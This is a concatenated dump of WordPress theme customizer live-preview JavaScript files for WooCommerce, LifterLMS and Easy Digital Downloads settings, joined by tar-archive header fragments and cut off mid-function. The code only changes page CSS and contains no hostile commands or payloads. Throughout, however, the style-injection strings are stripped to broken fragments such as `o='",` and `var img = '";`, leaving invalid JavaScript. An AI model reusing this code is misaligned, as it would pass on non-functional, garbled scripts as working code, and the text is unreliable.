.title").css("border-color",o)})}),o("ocean_account_addresses_button_bg",function(o){o.bind(function(o){c(".woocommerce-MyAccount-content .addresses .woocommerce-Address .title a").css("background-color",o)})}),o("ocean_account_addresses_button_bg_hover",function(o){o.bind(function(o){var e=c(".customizer-ocean_account_addresses_button_bg_hover");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_account_addresses_button_color",function(o){o.bind(function(o){c(".woocommerce-MyAccount-content .addresses .woocommerce-Address .title a").css("color",o)})}),o("ocean_account_addresses_button_color_hover",function(o){o.bind(function(o){var e=c(".customizer-ocean_account_addresses_button_color_hover");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_account_addresses_content_color",function(o){o.bind(function(o){c(".woocommerce-MyAccount-content .addresses .woocommerce-Address address").css("color",o)})}),o("ocean_cart_borders_color",function(o){o.bind(function(o){c(".woocommerce-cart table.shop_table,.woocommerce-cart table.shop_table th,.woocommerce-cart table.shop_table td,.woocommerce-cart .cart-collaterals .cross-sells,.woocommerce-page .cart-collaterals .cross-sells,.woocommerce-cart .cart-collaterals h2,.woocommerce-cart .cart-collaterals .cart_totals,.woocommerce-page .cart-collaterals .cart_totals,.woocommerce-cart .cart-collaterals .cart_totals table th,.woocommerce-cart .cart-collaterals .cart_totals .order-total th,.woocommerce-cart table.shop_table td,.woocommerce-cart .cart-collaterals .cart_totals tr td,.woocommerce-cart .cart-collaterals .cart_totals .order-total td").css("border-color",o)})}),o("ocean_cart_head_bg",function(o){o.bind(function(o){c(".woocommerce-cart table.shop_table thead,.woocommerce-cart .cart-collaterals h2").css("background-color",o)})}),o("ocean_cart_head_titles_color",function(o){o.bind(function(o){c(".woocommerce-cart table.shop_table thead th,.woocommerce-cart .cart-collaterals h2").css("color",o)})}),o("ocean_cart_totals_table_titles_color",function(o){o.bind(function(o){c(".woocommerce-cart .cart-collaterals .cart_totals table th").css("color",o)})}),o("ocean_cart_remove_button_color",function(o){o.bind(function(o){c(".woocommerce table.shop_table a.remove").css("color",o)})}),o("ocean_cart_remove_button_color_hover",function(o){o.bind(function(o){var e=c(".customizer-ocean_cart_remove_button_color_hover");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_checkout_notices_borders_color",function(o){o.bind(function(o){c(".woocommerce-checkout .woocommerce-info").css("border-color",o)})}),o("ocean_checkout_notices_icon_color",function(o){o.bind(function(o){var e=c(".customizer-ocean_checkout_notices_icon_color");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_checkout_notices_color",function(o){o.bind(function(o){c(".woocommerce-checkout .woocommerce-info").css("color",o)})}),o("ocean_checkout_notices_link_color",function(o){o.bind(function(o){c(".woocommerce-checkout .woocommerce-info a").css("color",o)})}),o("ocean_checkout_notices_link_color_hover",function(o){o.bind(function(o){var e=c(".customizer-ocean_checkout_notices_link_color_hover");o?(o='",e.length?e.replaceWith(o):c("head").append(o)):e.remove()})}),o("ocean_checkout_notices_form_border_color",function(o){o.bind(function(o){c(".woocommerce-checkout form.login,.woocommerce-checkout form.checkout_coupon").css("border-color",o)})}),o("ocean_checkout_titles_color",function(o){o.bind(function(o){c(".woocommerce .woocommerce-checkout #customer_details h3,.woocommerce .woocommerce-checkout h3#order_review_heading").css("color",o)})}),o("ocean_checkout_titles_border_bottom_color",function(o){o.bind(function(o){c(".woocommerce .woocommerce-checkout #customer_details h3,.woocommerce .woocommerce-checkout h3#order_review_heading").css("border-color",o)})}),o("ocean_checkout_table_main_bg",function(o){o.bind(function(o){c(".woocommerce table.shop_table thead,.woocommerce-checkout-review-order-table tfoot th").css("background-color",o)})}),o("ocean_checkout_table_titles_color",function(o){o.bind(function(o){c(".woocommerce-checkout table.shop_table thead th,.woocommerce-checkout table.shop_table tfoot th").css("color",o)})}),o("ocean_checkout_table_borders_color",function(o){o.bind(function(o){c(".woocommerce-checkout table.shop_table,.woocommerce-checkout table.shop_table th,.woocommerce-checkout table.shop_table td,.woocommerce-checkout table.shop_table tfoot th,.woocommerce-checkout table.shop_table tfoot td").css("border-color",o)})}),o("ocean_checkout_payment_methods_bg",function(o){o.bind(function(o){c(".woocommerce-checkout #payment").css("background-color",o)})}),o("ocean_checkout_payment_methods_borders_color",function(o){o.bind(function(o){c(".woocommerce-checkout #payment,.woocommerce-checkout #payment ul.payment_methods").css("border-color",o)})}),o("ocean_checkout_payment_box_bg",function(o){o.bind(function(o){c(".woocommerce-checkout #payment div.payment_box").css("background-color",o)})}),o("ocean_checkout_payment_box_color",function(o){o.bind(function(o){c(".woocommerce-checkout #payment div.payment_box").css("color",o)})})}(jQuery);customizer/assets/js/llms-customize-preview.min.js000064400000060646151551031110016461 0ustar00!function(o){var e=wp.customize,l=(o("body"),o("#site-header"),["1","2","3","4","5","6"]),i=["tablet-1-col","tablet-2-col","tablet-3-col","tablet-4-col","tablet-5-col","tablet-6-col"],s=["mobile-1-col","mobile-2-col","mobile-3-col","mobile-4-col","mobile-5-col","mobile-6-col"];e("ocean_llms_courses_columns",function(e){e.bind(function(e){var t=o(".llms-loop-list.llms-course-list");t.length&&(o.each(l,function(e,l){t.removeClass("cols-"+l)}),t.addClass("cols-"+e))})}),e("ocean_llms_tablet_courses_columns",function(e){e.bind(function(e){var t=o(".llms-loop-list.llms-course-list");t.length&&(o.each(i,function(e,l){t.removeClass(l)}),t.addClass("tablet-col"),t.addClass("tablet-"+e+"-col"))})}),e("ocean_llms_mobile_courses_columns",function(e){e.bind(function(e){var t=o(".llms-loop-list.llms-course-list");t.length&&(o.each(s,function(e,l){t.removeClass(l)}),t.addClass("mobile-col"),t.addClass("mobile-"+e+"-col"))})}),e("ocean_llms_membership_columns",function(e){e.bind(function(e){var t=o(".llms-loop-list.llms-membership-list");t.length&&(o.each(l,function(e,l){t.removeClass("cols-"+l)}),t.addClass("cols-"+e))})}),e("ocean_llms_tablet_membership_columns",function(e){e.bind(function(e){var t=o(".llms-loop-list.llms-membership-list");t.length&&(o.each(i,function(e,l){t.removeClass(l)}),t.addClass("tablet-col"),t.addClass("tablet-"+e+"-col"))})}),e("ocean_llms_mobile_membership_columns",function(e){e.bind(function(e){var t=o(".llms-loop-list.llms-membership-list");t.length&&(o.each(s,function(e,l){t.removeClass(l)}),t.addClass("mobile-col"),t.addClass("mobile-"+e+"-col"))})}),e("ocean_llms_top_padding",function(e){e.bind(function(e){var l=o(".customizer-ocean_llms_top_padding");e?(e='",l.length?l.replaceWith(e):o("head").append(e)):l.remove()})}),e("ocean_llms_right_padding",function(e){e.bind(function(e){var l=o(".customizer-ocean_llms_right_padding");e?(e='",l.length?l.replaceWith(e):o("head").append(e)):l.remove()})}),e("ocean_llms_bottom_padding",function(e){e.bind(function(e){var l=o(".customizer-ocean_llms_bottom_padding");e?(e='",l.length?l.replaceWith(e):o("head").append(e)):l.remove()})}),e("ocean_llms_left_padding",function(e){e.bind(function(e){var l=o(".customizer-ocean_llms_left_padding");e?(e='",l.length?l.replaceWith(e):o("head").append(e)):l.remove()})}),e("ocean_llms_tablet_top_padding",function(e){e.bind(function(e){var l=o(".customizer-ocean_llms_tablet_top_padding");e?(e='",l.length?l.replaceWith(e):o("head").append(e)):l.remove()})}),e("ocean_llms_tablet_right_padding",function(e){e.bind(function(e){var l=o(".customizer-ocean_llms_tablet_right_padding");e?(e='",l.length?l.replaceWith(e):o("head").append(e)):l.remove()})}),e("ocean_llms_tablet_bottom_padding",function(e){e.bind(function(e){var l=o(".customizer-ocean_llms_tablet_bottom_padding");e?(e='",l.length?l.replaceWith(e):o("head").append(e)):l.remove()})}),e("ocean_llms_tablet_left_padding",function(e){e.bind(function(e){var l=o(".customizer-ocean_llms_tablet_left_padding");e?(e='",l.length?l.replaceWith(e):o("head").append(e)):l.remove()})}),e("ocean_llms_mobile_top_padding",function(e){e.bind(function(e){var l=o(".customizer-ocean_llms_mobile_top_padding");e?(e='",l.length?l.replaceWith(e):o("head").append(e)):l.remove()})}),e("ocean_llms_mobile_right_padding",function(e){e.bind(function(e){var l=o(".customizer-ocean_llms_mobile_right_padding");e?(e='",l.length?l.replaceWith(e):o("head").append(e)):l.remove()})}),e("ocean_llms_mobile_bottom_padding",function(e){e.bind(function(e){var l=o(".customizer-ocean_llms_mobile_bottom_padding");e?(e='",l.length?l.replaceWith(e):o("head").append(e)):l.remove()})}),e("ocean_llms_mobile_left_padding",function(e){e.bind(function(e){var l=o(".customizer-ocean_llms_mobile_left_padding");e?(e='",l.length?l.replaceWith(e):o("head").append(e)):l.remove()})}),e("ocean_llms_image_top_margin",function(e){e.bind(function(e){var l=o(".customizer-ocean_llms_image_top_margin");e?(e='",l.length?l.replaceWith(e):o("head").append(e)):l.remove()})}),e("ocean_llms_image_right_margin",function(e){e.bind(function(e){var l=o(".customizer-ocean_llms_image_right_margin");e?(e='",l.length?l.replaceWith(e):o("head").append(e)):l.remove()})}),e("ocean_llms_image_bottom_margin",function(e){e.bind(function(e){var l=o(".customizer-ocean_llms_image_bottom_margin");e?(e='",l.length?l.replaceWith(e):o("head").append(e)):l.remove()})}),e("ocean_llms_image_left_margin",function(e){e.bind(function(e){var l=o(".customizer-ocean_llms_image_left_margin");e?(e='",l.length?l.replaceWith(e):o("head").append(e)):l.remove()})}),e("ocean_llms_image_tablet_top_margin",function(e){e.bind(function(e){var l=o(".customizer-ocean_llms_image_tablet_top_margin");e?(e='",l.length?l.replaceWith(e):o("head").append(e)):l.remove()})}),e("ocean_llms_image_tablet_right_margin",function(e){e.bind(function(e){var l=o(".customizer-ocean_llms_image_tablet_right_margin");e?(e='",l.length?l.replaceWith(e):o("head").append(e)):l.remove()})}),e("ocean_llms_image_tablet_bottom_margin",function(e){e.bind(function(e){var l=o(".customizer-ocean_llms_image_tablet_bottom_margin");e?(e='",l.length?l.replaceWith(e):o("head").append(e)):l.remove()})}),e("ocean_llms_image_tablet_left_margin",function(e){e.bind(function(e){var l=o(".customizer-ocean_llms_image_tablet_left_margin");e?(e='",l.length?l.replaceWith(e):o("head").append(e)):l.remove()})}),e("ocean_llms_image_mobile_top_margin",function(e){e.bind(function(e){var l=o(".customizer-ocean_llms_image_mobile_top_margin");e?(e='",l.length?l.replaceWith(e):o("head").append(e)):l.remove()})}),e("ocean_llms_image_mobile_right_margin",function(e){e.bind(function(e){var l=o(".customizer-ocean_llms_image_mobile_right_margin");e?(e='",l.length?l.replaceWith(e):o("head").append(e)):l.remove()})}),e("ocean_llms_image_mobile_bottom_margin",function(e){e.bind(function(e){var l=o(".customizer-ocean_llms_image_mobile_bottom_margin");e?(e='",l.length?l.replaceWith(e):o("head").append(e)):l.remove()})}),e("ocean_llms_image_mobile_left_margin",function(e){e.bind(function(e){var l=o(".customizer-ocean_llms_image_mobile_left_margin");e?(e='",l.length?l.replaceWith(e):o("head").append(e)):l.remove()})}),e("ocean_llms_top_border_width",function(e){e.bind(function(e){var l=o(".customizer-ocean_llms_top_border_width");e?(e='",l.length?l.replaceWith(e):o("head").append(e)):l.remove()})}),e("ocean_llms_right_border_width",function(e){e.bind(function(e){var l=o(".customizer-ocean_llms_right_border_width");e?(e='",l.length?l.replaceWith(e):o("head").append(e)):l.remove()})}),e("ocean_llms_bottom_border_width",function(e){e.bind(function(e){var l=o(".customizer-ocean_llms_bottom_border_width");e?(e='",l.length?l.replaceWith(e):o("head").append(e)):l.remove()})}),e("ocean_llms_left_border_width",function(e){e.bind(function(e){var l=o(".customizer-ocean_llms_left_border_width");e?(e='",l.length?l.replaceWith(e):o("head").append(e)):l.remove()})}),e("ocean_llms_tablet_top_border_width",function(e){e.bind(function(e){var l=o(".customizer-ocean_llms_tablet_top_border_width");e?(e='",l.length?l.replaceWith(e):o("head").append(e)):l.remove()})}),e("ocean_llms_tablet_right_border_width",function(e){e.bind(function(e){var l=o(".customizer-ocean_llms_tablet_right_border_width");e?(e='",l.length?l.replaceWith(e):o("head").append(e)):l.remove()})}),e("ocean_llms_tablet_bottom_border_width",function(e){e.bind(function(e){var l=o(".customizer-ocean_llms_tablet_bottom_border_width");e?(e='",l.length?l.replaceWith(e):o("head").append(e)):l.remove()})}),e("ocean_llms_tablet_left_border_width",function(e){e.bind(function(e){var l=o(".customizer-ocean_llms_tablet_left_border_width");e?(e='",l.length?l.replaceWith(e):o("head").append(e)):l.remove()})}),e("ocean_llms_mobile_top_border_width",function(e){e.bind(function(e){var l=o(".customizer-ocean_llms_mobile_top_border_width");e?(e='",l.length?l.replaceWith(e):o("head").append(e)):l.remove()})}),e("ocean_llms_mobile_right_border_width",function(e){e.bind(function(e){var l=o(".customizer-ocean_llms_mobile_right_border_width");e?(e='",l.length?l.replaceWith(e):o("head").append(e)):l.remove()})}),e("ocean_llms_mobile_bottom_border_width",function(e){e.bind(function(e){var l=o(".customizer-ocean_llms_mobile_bottom_border_width");e?(e='",l.length?l.replaceWith(e):o("head").append(e)):l.remove()})}),e("ocean_llms_mobile_left_border_width",function(e){e.bind(function(e){var l=o(".customizer-ocean_llms_mobile_left_border_width");e?(e='",l.length?l.replaceWith(e):o("head").append(e)):l.remove()})}),e("ocean_llms_top_border_radius",function(e){e.bind(function(e){var l=o(".customizer-ocean_llms_top_border_radius");e?(e='",l.length?l.replaceWith(e):o("head").append(e)):l.remove()})}),e("ocean_llms_right_border_radius",function(e){e.bind(function(e){var l=o(".customizer-ocean_llms_right_border_radius");e?(e='",l.length?l.replaceWith(e):o("head").append(e)):l.remove()})}),e("ocean_llms_bottom_border_radius",function(e){e.bind(function(e){var l=o(".customizer-ocean_llms_bottom_border_radius");e?(e='",l.length?l.replaceWith(e):o("head").append(e)):l.remove()})}),e("ocean_llms_left_border_radius",function(e){e.bind(function(e){var l=o(".customizer-ocean_llms_left_border_radius");e?(e='",l.length?l.replaceWith(e):o("head").append(e)):l.remove()})}),e("ocean_llms_tablet_top_border_radius",function(e){e.bind(function(e){var l=o(".customizer-ocean_llms_tablet_top_border_radius");e?(e='",l.length?l.replaceWith(e):o("head").append(e)):l.remove()})}),e("ocean_llms_tablet_right_border_radius",function(e){e.bind(function(e){var l=o(".customizer-ocean_llms_tablet_right_border_radius");e?(e='",l.length?l.replaceWith(e):o("head").append(e)):l.remove()})}),e("ocean_llms_tablet_bottom_border_radius",function(e){e.bind(function(e){var l=o(".customizer-ocean_llms_tablet_bottom_border_radius");e?(e='",l.length?l.replaceWith(e):o("head").append(e)):l.remove()})}),e("ocean_llms_tablet_left_border_radius",function(e){e.bind(function(e){var l=o(".customizer-ocean_llms_tablet_left_border_radius");e?(e='",l.length?l.replaceWith(e):o("head").append(e)):l.remove()})}),e("ocean_llms_mobile_top_border_radius",function(e){e.bind(function(e){var l=o(".customizer-ocean_llms_mobile_top_border_radius");e?(e='",l.length?l.replaceWith(e):o("head").append(e)):l.remove()})}),e("ocean_llms_mobile_right_border_radius",function(e){e.bind(function(e){var l=o(".customizer-ocean_llms_mobile_right_border_radius");e?(e='",l.length?l.replaceWith(e):o("head").append(e)):l.remove()})}),e("ocean_llms_mobile_bottom_border_radius",function(e){e.bind(function(e){var l=o(".customizer-ocean_llms_mobile_bottom_border_radius");e?(e='",l.length?l.replaceWith(e):o("head").append(e)):l.remove()})}),e("ocean_llms_mobile_left_border_radius",function(e){e.bind(function(e){var l=o(".customizer-ocean_llms_mobile_left_border_radius");e?(e='",l.length?l.replaceWith(e):o("head").append(e)):l.remove()})}),e("ocean_llms_background_color",function(e){e.bind(function(e){o(".llms-loop-item .llms-loop-item-content").css("background-color",e)})}),e("ocean_llms_border_color",function(e){e.bind(function(e){o(".llms-loop-item .llms-loop-item-content").css("border-color",e)})}),e("ocean_llms_title_color",function(e){e.bind(function(e){o(".llms-loop-item-content .llms-loop-title").css("color",e)})}),e("ocean_llms_title_color_hover",function(e){e.bind(function(e){var l=o(".customizer-llms_title_color_hover");e?(e='",l.length?l.replaceWith(e):o("head").append(e)):l.remove()})}),e("ocean_llms_author_color",function(e){e.bind(function(e){o(".llms-loop-item-content .llms-author").css("color",e)})}),e("ocean_llms_meta_color",function(e){e.bind(function(e){o(".llms-loop-item-content .llms-meta").css("color",e)})}),e("ocean_llms_course_title_color",function(e){e.bind(function(e){o(".single-course .entry-title").css("color",e)})}),e("ocean_llms_course_subtitle_color",function(e){e.bind(function(e){o(".single-course .llms-meta-title").css("color",e)})}),e("ocean_llms_course_meta_title_color",function(e){e.bind(function(e){o(".llms-meta-info .llms-meta p").css("color",e)})}),e("ocean_llms_course_meta_link_color",function(e){e.bind(function(e){o(".llms-meta-info .llms-meta span, .llms-meta-info .llms-meta a").css("color",e)})}),e("ocean_llms_course_meta_link_color_hover",function(e){e.bind(function(e){var l=o(".customizer-llms_course_meta_link_color_hover");e?(e='",l.length?l.replaceWith(e):o("head").append(e)):l.remove()})}),e("ocean_llms_course_author_color",function(e){e.bind(function(e){o(".llms-instructor-info .llms-instructors .llms-author").css("color",e)})}),e("ocean_llms_course_progress_color",function(e){e.bind(function(e){o(".llms-progress .progress-bar-complete").css("color",e)})}),e("ocean_llms_course_section_title_color",function(e){e.bind(function(e){o(".llms-syllabus-wrapper .llms-section-title, .llms-access-plan-title").css("color",e)})}),e("ocean_llms_course_section_title_background",function(e){e.bind(function(e){o(".llms-syllabus-wrapper .llms-section-title, .llms-access-plan-title").css("background-color",e)})}),e("ocean_llms_lesson_title_color",function(e){e.bind(function(e){o(".single-lesson .entry-title").css("color",e)})}),e("ocean_llms_lesson_description_color",function(e){e.bind(function(e){o(".single-lesson .entry-content").css("color",e)})}),e("ocean_llms_global_both_sidebars_content_width",function(e){e.bind(function(e){var l=o(".customizer-ocean_llms_global_both_sidebars_content_width");e?(e='",l.length?l.replaceWith(e):o("head").append(e)):l.remove()})}),e("ocean_llms_global_both_sidebars_sidebars_width",function(e){e.bind(function(e){var l=o(".customizer-ocean_llms_global_both_sidebars_sidebars_width");e?(e='",l.length?l.replaceWith(e):o("head").append(e)):l.remove()})}),e("ocean_llms_course_both_sidebars_content_width",function(e){e.bind(function(e){var l=o(".customizer-ocean_llms_course_both_sidebars_content_width");e?(e='",l.length?l.replaceWith(e):o("head").append(e)):l.remove()})}),e("ocean_llms_course_both_sidebars_sidebars_width",function(e){e.bind(function(e){var l=o(".customizer-ocean_llms_course_both_sidebars_sidebars_width");e?(e='",l.length?l.replaceWith(e):o("head").append(e)):l.remove()})}),e("ocean_llms_lesson_both_sidebars_content_width",function(e){e.bind(function(e){var l=o(".customizer-ocean_llms_lesson_both_sidebars_content_width");e?(e='",l.length?l.replaceWith(e):o("head").append(e)):l.remove()})}),e("ocean_llms_lesson_both_sidebars_sidebars_width",function(e){e.bind(function(e){var l=o(".customizer-ocean_llms_lesson_both_sidebars_sidebars_width");e?(e='",l.length?l.replaceWith(e):o("head").append(e)):l.remove()})})}(jQuery);customizer/assets/js/edd-customize-preview.js000064400000156134151551031110015462 0ustar00/** * Update EDD Customizer settings live. * * @version 1.0.0 * * @since 2.0 */ ( function( $ ) { // Declare vars var api = wp.customize, body = $( 'body' ), siteHeader = $( '#site-header' ), eddProductsCol = [ '1', '2', '3', '4' ], eddProductsTabletCol = [ 'tablet-1-col', 'tablet-2-col', 'tablet-3-col', 'tablet-4-col' ], eddProductsMobileCol = [ 'mobile-1-col', 'mobile-2-col', 'mobile-3-col', 'mobile-4-col' ]; /******** EDD *********/ // Cart style api('ocean_edd_cart_dropdown_style', function( value ) { value.bind( function( newval ) { var cart = $( '.edd-menu-icon' ); if ( cart.length ) { $.each( wooCartStyle, function( i, v ) { cart.removeClass( v ); }); cart.addClass( newval ); } }); }); // Custom Cart icon api('ocean_edd_menu_custom_icon', function( value ) { value.bind( function( newval ) { var $cart = $( '#site-navigation-wrap .dropdown-menu > li > a.eddmenucart i' ); if ( $cart.length ) { $cart.removeClass(); $cart.addClass( newval ); } }); }); // Menu cart icon size api( 'ocean_edd_menu_icon_size', function( value ) { value.bind( function( to ) { var $child = $( '.customizer-ocean_edd_menu_icon_size' ); if ( to ) { var style = ''; if ( $child.length ) { $child.replaceWith( style ); } else { $( 'head' ).append( style ); } } else { $child.remove(); } } ); } ); // Menu cart icon size tablet api( 'ocean_edd_menu_icon_size_tablet', function( value ) { value.bind( function( to ) { var $child = $( '.customizer-ocean_edd_menu_icon_size_tablet' ); if ( to ) { var style = ''; if ( $child.length ) { $child.replaceWith( style ); } else { $( 'head' ).append( style ); } } else { $child.remove(); } } ); } ); // Menu cart icon size mobile api( 'ocean_edd_menu_icon_size_mobile', function( value ) { value.bind( function( to ) { var $child = $( '.customizer-ocean_edd_menu_icon_size_mobile' ); if ( to ) { var style = ''; if ( $child.length ) { $child.replaceWith( style ); } else { $( 'head' ).append( style ); } } else { $child.remove(); } } ); } ); // Menu cart icon center vertically api( 'ocean_edd_menu_icon_center_vertically', function( value ) { value.bind( function( to ) { var $child = $( '.customizer-ocean_edd_menu_icon_center_vertically' ); if ( to ) { var style = ''; if ( $child.length ) { $child.replaceWith( style ); } else { $( 'head' ).append( style ); } } else { $child.remove(); } } ); } ); // Menu cart icon center vertically tablet api( 'ocean_edd_menu_icon_center_vertically_tablet', function( value ) { value.bind( function( to ) { var $child = $( '.customizer-ocean_edd_menu_icon_center_vertically_tablet' ); if ( to ) { var style = ''; if ( $child.length ) { $child.replaceWith( style ); } else { $( 'head' ).append( style ); } } else { $child.remove(); } } ); } ); // Menu cart icon center vertically mobile api( 'ocean_edd_menu_icon_center_vertically_mobile', function( value ) { value.bind( function( to ) { var $child = $( '.customizer-ocean_edd_menu_icon_center_vertically_mobile' ); if ( to ) { var style = ''; if ( $child.length ) { $child.replaceWith( style ); } else { $( 'head' ).append( style ); } } else { $child.remove(); } } ); } ); // Archives products columns api('ocean_edd_archive_columns', function( value ) { value.bind( function( newval ) { var archivesCol = $( '.oceanwp-row .edd_downloads_list' ); if ( archivesCol.length ) { $.each( eddProductsCol, function( i, v ) { archivesCol.parent().removeClass( 'desktop-col-'+ v ); archivesCol.removeClass( 'span_1_of_'+ v ); }); archivesCol.parent().addClass( 'custom-col desktop-col-'+ newval ); archivesCol.addClass( 'span_1_of_'+ newval ); } }); }); // Archives tablet columns class api('ocean_edd_tablet_archive_columns', function( value ) { value.bind( function( newval ) { var archivesCol = $( '.oceanwp-row .edd_downloads_list' ); if ( archivesCol.length ) { $.each( eddProductsTabletCol, function( i, v ) { archivesCol.removeClass( v ); }); archivesCol.addClass( 'tablet-col' ); archivesCol.addClass( 'tablet-'+ newval +'-col' ); } }); }); // Archives mobile columns class api('ocean_edd_mobile_archive_columns', function( value ) { value.bind( function( newval ) { var archivesCol = $( '.oceanwp-row .edd_downloads_list' ); if ( archivesCol.length ) { $.each( eddProductsMobileCol, function( i, v ) { archivesCol.removeClass( v ); }); archivesCol.addClass( 'mobile-col' ); archivesCol.addClass( 'mobile-'+ newval +'-col' ); } }); }); // Content Alignment api('ocean_edd_archive_entry_content_alignment', function( value ) { value.bind( function( newval ) { var content_alignment = $( '.oceanwp-row .edd_downloads_list .edd-download' ); if ( content_alignment.length ) { $.each( wooContentAlignment, function( i, v ) { content_alignment.removeClass( v ); }); content_alignment.addClass( 'owp-content-'+ newval ); } }); }); // Both Sidebars layout shop page content width api( 'ocean_edd_archive_both_sidebars_content_width', function( value ) { value.bind( function( to ) { var $child = $( '.customizer-ocean_edd_archive_both_sidebars_content_width' ); if ( to ) { var style = ''; if ( $child.length ) { $child.replaceWith( style ); } else { $( 'head' ).append( style ); } } else { $child.remove(); } } ); } ); // Both Sidebars layout archive page sidebars width api( 'ocean_edd_archive_both_sidebars_sidebars_width', function( value ) { value.bind( function( to ) { var $child = $( '.customizer-ocean_edd_archive_both_sidebars_sidebars_width' ); if ( to ) { var style = ''; if ( $child.length ) { $child.replaceWith( style ); } else { $( 'head' ).append( style ); } } else { $child.remove(); } } ); } ); // Both Sidebars layout single edd content width api( 'ocean_edd_download_both_sidebars_content_width', function( value ) { value.bind( function( to ) { var $child = $( '.customizer-ocean_edd_download_both_sidebars_content_width' ); if ( to ) { var style = ''; if ( $child.length ) { $child.replaceWith( style ); } else { $( 'head' ).append( style ); } } else { $child.remove(); } } ); } ); // Both Sidebars layout single edd sidebars width api( 'ocean_edd_download_both_sidebars_sidebars_width', function( value ) { value.bind( function( to ) { var $child = $( '.customizer-ocean_edd_download_both_sidebars_sidebars_width' ); if ( to ) { var style = ''; if ( $child.length ) { $child.replaceWith( style ); } else { $( 'head' ).append( style ); } } else { $child.remove(); } } ); } ); api("ocean_edd_top_padding", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_top_padding"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_right_padding", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_right_padding"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_bottom_padding", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_bottom_padding"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_left_padding", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_left_padding"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_tablet_top_padding", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_tablet_top_padding"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_tablet_right_padding", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_tablet_right_padding"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_tablet_bottom_padding", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_tablet_bottom_padding"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_tablet_left_padding", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_tablet_left_padding"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_mobile_top_padding", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_mobile_top_padding"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_mobile_right_padding", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_mobile_right_padding"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_mobile_bottom_padding", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_mobile_bottom_padding"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_mobile_left_padding", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_mobile_left_padding"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_image_top_margin", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_image_top_margin"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_image_right_margin", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_image_right_margin"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_image_bottom_margin", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_image_bottom_margin"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_image_left_margin", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_image_left_margin"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_image_tablet_top_margin", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_image_tablet_top_margin"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_image_tablet_right_margin", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_image_tablet_right_margin"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_image_tablet_bottom_margin", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_image_tablet_bottom_margin"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_image_tablet_left_margin", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_image_tablet_left_margin"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_image_mobile_top_margin", function($swipe) { $swipe.bind(function(to) { var $child = 